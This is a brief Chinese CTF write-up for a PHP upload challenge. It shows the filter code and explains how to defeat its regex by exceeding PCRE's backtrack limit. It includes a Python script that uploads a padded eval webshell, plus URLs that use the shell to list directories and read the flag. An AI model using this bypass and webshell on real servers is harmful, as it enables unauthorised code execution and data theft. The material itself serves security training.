題目地址:http://120.78.164.84:49002/
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1
這道題的難點就在於 is_php($data) 驗證,包含了所有正常的php代碼。
我們需要用php中正則的最大回溯次數(pcre.backtrack_limit)使正則失效,從而導致 is_php() 返回false。
那麼解題的思路就很清晰了,只要上傳一個超長的字符串的文件,就可以繞過這個正則表達式了。
PHP
Python
preg_match的繞過可以參考這裏
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
http://120.78.164.84:49002/data/8c4dcac36b233309494cce7e20ee645d/3.php?a=print_r(scandir('../../../'));
http://120.78.164.84:49002/data/8c4dcac36b233309494cce7e20ee645d/3.php?a=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));